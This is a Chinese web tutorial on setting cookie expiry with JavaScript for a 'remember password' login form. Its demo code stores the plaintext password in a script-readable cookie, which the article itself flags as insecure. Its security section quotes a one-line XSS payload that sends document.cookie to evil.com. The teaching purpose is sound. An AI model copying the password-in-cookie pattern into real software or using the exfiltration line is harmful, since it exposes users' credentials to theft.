JS通过Cookie设置记住密码及过期时间

作者:小圆点

时间:2026-11-17

浏览:268

详细讲解如何使用 JavaScript 通过 document.cookie 实现“记住密码”功能以及精确设置过期时间,涵盖 expires 与 max-age 计算、通用封装函数、表单读写全流程与生产环境安全规范。

文章目录

设想一个常见的用户登录情景:用户在管理后台输入用户名和密码,并勾选了“记住密码”复选框。如果用户在一周之内再次打开该登录页面,输入框会自动回填上次的凭据,复选框保持勾选;而若用户未勾选该选项,关闭浏览器后数据便不再保留。要实现这种客户端状态记忆,核心方案是借助 JavaScript 操作浏览器的 document.cookie,并在写入时显式声明过期时间(expires 或 max-age),以决定凭据信息在用户本地硬盘上持久保留的天数。

一、Cookie 语法结构与生命周期机制

在客户端 JavaScript 中,所有 Cookie 都是通过 document.cookie 属性进行读写的。表面上看,document.cookie 是一个普通字符串,但它在底层的读写行为与普通变量存在本质区别:对它的每次赋值操作并非覆盖整个 Cookie 集合,而是向浏览器的 Cookie 存储库追加或更新一条特定的键值对记录。

一条完整的 Cookie 字符串包含键值以及若干控制属性,各属性之间使用分号和空格(; )分隔:

document.cookie = "key=value; expires=date; max-age=seconds; path=/; SameSite=Lax; Secure";

决定 Cookie 是临时保留还是持久保留的关键,在于是否设置了生命周期指令。如果忽略 expires 与 max-age,该条记录就会成为“会话 Cookie”(Session Cookie),仅保存在浏览器的内存中,一旦用户完全关闭浏览器进程,数据立即失效清空。如果需要实现“记住 7 天”或“记住 30 天”,就必须指定具体的有效期。

JS通过Cookie设置记住密码及过期时间
图 1:Cookie 存储格式与生命周期时间控制机制模型

Expires 与 Max-Age 的差异与选择

在为 Cookie 指定过期时间时,W3C 标准提供了两种语法途径:

  • expires(绝对时间点):这是早期 HTTP/1.0 引入的标准属性,其接收一个符合 GMT/UTC 格式的日期字符串,例如 Wed, 25 Nov 2026 12:00:00 GMT。在 JavaScript 中,通常先利用 new Date() 加上指定的毫秒数,再通过 d.toUTCString() 生成标准格式。它的局限在于完全依赖用户客户端本机的系统时钟,若用户电脑时间存在偏差,可能导致判定异常。
  • max-age(相对时间跨度):由 HTTP/1.1 规范制定,其值是一个以秒为单位的正整数,例如 7 天即为 7 * 24 * 3600 = 604800 秒。浏览器从接收到指令的瞬间开始倒计时,彻底规避了客户端与服务端时钟不一致的隐患。在现代浏览器中,max-age 的优先级高于 expires。
属性名称 数值格式 时间参考系 即刻删除写法 工程推荐度
expires GMT/UTC 时间文本 (toUTCString) 绝对时刻(依赖本机时钟) 设为过去的时刻(如 1970 年) 兼顾旧浏览器兼容
max-age 整数(单位:秒) 相对时长(当前时间 + N秒) max-age=0 或负数 现代标准,强烈推荐

二、封装通用的 Cookie 读、写与删除工具

由于直接操作 document.cookie 容易出现字符串拆分错误、编码丢失以及路径作用域不一致等问题,在编写具体业务前,先封装规范的 setCookie、getCookie 和 removeCookie 函数是最佳的实践方式。

/**
 * 设置 Cookie(支持指定天数与路径)
 * @param {string} name 键名
 * @param {string} value 键值
 * @param {number} days 有效天数(传 0 或负数即为删除)
 * @param {string} path 作用路径,默认为根路径 "/"
 */
function setCookie(name, value, days, path = '/') {
  let cookieStr = encodeURIComponent(name) + '=' + encodeURIComponent(value);
  
  if (typeof days === 'number') {
    // 方案一:采用现代 max-age(秒为单位)
    const maxAge = days * 24 * 60 * 60;
    cookieStr += '; max-age=' + maxAge;

    // 方案二:双重保障补充 expires,兼容极旧运行环境
    const date = new Date();
    date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
    cookieStr += '; expires=' + date.toUTCString();
  }

  cookieStr += '; path=' + path + '; SameSite=Lax';
  document.cookie = cookieStr;
}

/**
 * 获取指定名称的 Cookie 值
 * @param {string} name 键名
 * @returns {string|null} 对应的值或 null
 */
function getCookie(name) {
  const targetKey = encodeURIComponent(name) + '=';
  const cookies = document.cookie.split(';');

  for (let i = 0; i < cookies.length; i++) {
    let item = cookies[i].trim();
    if (item.indexOf(targetKey) === 0) {
      return decodeURIComponent(item.substring(targetKey.length));
    }
  }
  return null;
}

/**
 * 删除指定 Cookie(设置过期时间为 0)
 * @param {string} name 键名
 * @param {string} path 必须与设置时的 path 完全一致
 */
function removeCookie(name, path = '/') {
  // 将 max-age 设为 0,并将 expires 设置为 Unix 纪元时间
  document.cookie = encodeURIComponent(name) + 
    '=; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=' + 
    path + '; SameSite=Lax';
}
提示:在拼接键值时务必调用 encodeURIComponent(),这能防止用户名中包含的分号、逗号、等号或中文字符破坏 Cookie 本身的语法结构;在读取时再使用 decodeURIComponent() 还原。

三、“记住密码”完整实现步骤与代码

实现“记住密码”的业务逻辑可以清晰地划分为两个阶段:一是用户登录提交时的判定与持久化存储,二是后续页面再次打开时的凭据回显与状态还原。

JS通过Cookie设置记住密码及过期时间
图 2:“记住密码”生命周期交互与执行步骤图

1. 界面 HTML 表单骨架

首先准备一个包含用户名、密码、复选框以及登录按钮的基础表单:

<form id="loginForm" onsubmit="return false;">
  <div>
    <label for="username">账号:</label>
    <input type="text" id="username" placeholder="请输入用户名" required />
  </div>
  <div>
    <label for="password">密码:</label>
    <input type="password" id="password" placeholder="请输入密码" required />
  </div>
  <div>
    <label>
      <input type="checkbox" id="rememberMe" /> 记住账号与登录状态(7天)
    </label>
  </div>
  <button type="button" id="loginBtn">登 录</button>
  <button type="button" id="clearBtn">清除保存</button>
</form>

2. 编写登录逻辑:根据复选框状态设置或清理 Cookie

当用户点击登录且通过基本校验后,检查 rememberMe.checked。若为 true,则调用封装好的 setCookie 写入 7 天有效期;若为 false,则主动调用 removeCookie 清理可能遗留的历史凭据:

const userField = document.getElementById('username');
const passField = document.getElementById('password');
const remCheckbox = document.getElementById('rememberMe');
const loginBtn = document.getElementById('loginBtn');
const clearBtn = document.getElementById('clearBtn');

// 登录处理逻辑
loginBtn.addEventListener('click', () => {
  const username = userField.value.trim();
  const password = passField.value.trim();

  if (!username || !password) {
    alert('请完整填写用户名与密码');
    return;
  }

  // 判断是否勾选“记住我”
  if (remCheckbox.checked) {
    // 保存 7 天(演示机制:此处存储凭据标识,后文将展开安全加固)
    setCookie('saved_username', username, 7);
    setCookie('saved_password', password, 7);
  } else {
    // 未勾选则清除已有 Cookie
    removeCookie('saved_username');
    removeCookie('saved_password');
  }

  alert('登录指令触发成功!凭据状态已同步至 Cookie。');
});

3. 编写初始化逻辑:页面加载时自动回填

在 DOMContentLoaded 事件触发时,尝试读取 Cookie。如果读到历史数据,便将内容填入对应的输入框中,并自动勾选“记住我”复选框,让用户明确知晓当前处于记忆状态:

document.addEventListener('DOMContentLoaded', () => {
  const savedUser = getCookie('saved_username');
  const savedPass = getCookie('saved_password');

  // 若存在保存的数据,则自动回填
  if (savedUser !== null) {
    userField.value = savedUser;
    remCheckbox.checked = true;
  }

  if (savedPass !== null) {
    passField.value = savedPass;
  }
});

// 手动清除按钮处理
clearBtn.addEventListener('click', () => {
  removeCookie('saved_username');
  removeCookie('saved_password');
  userField.value = '';
  passField.value = '';
  remCheckbox.checked = false;
  alert('本地保存的登录凭据已完全清除');
});

四、生产环境的安全边界与核心防护原则

安全关键警告:永远不要在前端客户端通过 JavaScript 将用户的真实明文密码直接写入 Cookie!

在上面的技术演示中,为了完整展示通过 Cookie 存取表单各字段与生命周期管理的执行机制,我们将密码字段写入了 Cookie。但在实际生产项目中,这种做法存在严重的安全漏洞:

JS通过Cookie设置记住密码及过期时间
图 3:Cookie 凭据存储安全性对比与防御方案架构
  1. XSS 跨站脚本劫持:凡是由客户端 JavaScript 可读写的 Cookie,一旦网站存在反射型、存储型或 DOM 型 XSS 漏洞,恶意攻击脚本仅需一行 fetch('https://evil.com/?c=' + document.cookie) 即可将用户的明文密码盗取回传。
  2. 物理与本地视线暴露:Cookie 是以明文格式保存在操作系统的浏览器配置目录或 IndexedDB/Cache 文件中的。任何能在该设备上打开浏览器开发者工具(Application -> Cookies 面板)的人,都能瞬间看穿密码。

生产级别的正规“记住登录”实现方案

如果需要在商业级项目中实现长期记住登录状态,业界成熟通用的标准方案如下:

  • 方案 A(最常见、零风险):仅记住用户名/账号
    Cookie 中只存储 saved_username,有效期设为 30 天;密码输入框永远留空,由用户手动输入,或者交给浏览器原生的受保护密码管理器(如 Chrome Password Manager、Keychain)通过主密码或生物指纹填充。
  • 方案 B(免密自动登录):服务端颁发 Remember-Me Token
    用户勾选“记住我”后,服务端生成一个高强度随机字符串(如 UUID 或 Hash 令牌),与该用户 ID 及过期时间关联后存入数据库。服务端在 HTTP 响应头中通过 Set-Cookie: remember_token=xxx; HttpOnly; Secure; SameSite=Lax; Max-Age=2592000 发送给浏览器。
    HttpOnly 属性会彻底禁止前端 JavaScript 访问该 Cookie,彻底防御 XSS 盗取;服务端在后续请求中校验该 Token 自动建立会话,且用户可以在后台随时一键废弃该 Token。

五、常见开发误区与排查清单

在使用 JavaScript 操作 Cookie 及排查过期问题时,有几个极为隐蔽但高频出现的开发陷阱需要特别关注:

  • 1. 路径(Path)不匹配导致无法读取或无法删除
    如果在 /admin/login.html 页面写入 Cookie 时没有声明 path=/,浏览器会默认将其作用域绑定在 /admin 子目录下。当用户访问根路径 /index.html 时,该 Cookie 将完全不可见;在删除 Cookie 时,若传入的 path 与写入时的 path 不一致,删除操作会直接静默失败。建议:所有通用凭据均显式指定 path=/。
  • 2. 本地文件直接打开(file:/// 协议)失效
    出于安全沙箱限制,现代浏览器(如 Chrome)在直接双击打开本地 HTML 文件(即 file:/// 协议)时,通常会禁止读写 document.cookie。测试时务必使用本地轻量 HTTP 服务器(如 VS Code Live Server 或 python3 -m http.server)通过 http://localhost:8080 访问。
  • 3. Cookie 体积与条数限制
    单个 Cookie 的最大体积通常不能超过 4KB(包含键名、键值及属性),每个域名下的 Cookie 数量通常限制在 20~50 个之间。Cookie 绝不能当作前端大容量数据库(如 LocalStorage、IndexedDB)来使用。
  • 4. 同名覆盖必须匹配 Domain 与 Path
    当试图修改已有的过期时间时,必须保证键名、path 和 domain 完全匹配,否则浏览器会误认为这是另一条新 Cookie,导致旧数据无法覆盖。

六、总结与知识全景速查

JS通过Cookie设置记住密码及过期时间
图 4:JavaScript Cookie 读写与过期管理架构体系全貌

通过 JavaScript 设置“记住密码”及过期时间,本质上是浏览器客户端持久化与状态机控制的结合。回顾核心要点:

  1. 语法核心:利用 document.cookie 追加写入,使用 max-age=秒数 精确控制相对留存时长,使用 max-age=0 触发即刻销毁。
  2. 字符保护:键值写入前必须进行 encodeURIComponent(),读取后使用 decodeURIComponent() 还原。
  3. 作用域规范:无论是设置、读取还是移除,统一指明 path=/,避免跨目录数据隔离与删除失效。
  4. 安全红线:客户端 JavaScript 维护的 Cookie 只应存储账号或非敏感显示标识;真正的持久登录凭据应交由服务端通过具备 HttpOnly 与 Secure 属性的 Token 机制进行承载。

实用工具推荐

电子包浆

绿化、压缩、噪点和虚拟水印,自由调节做旧程度。

使用 ›
图片压缩

选择画质和输出格式,预览压缩前后的大小。

使用 ›
相关文章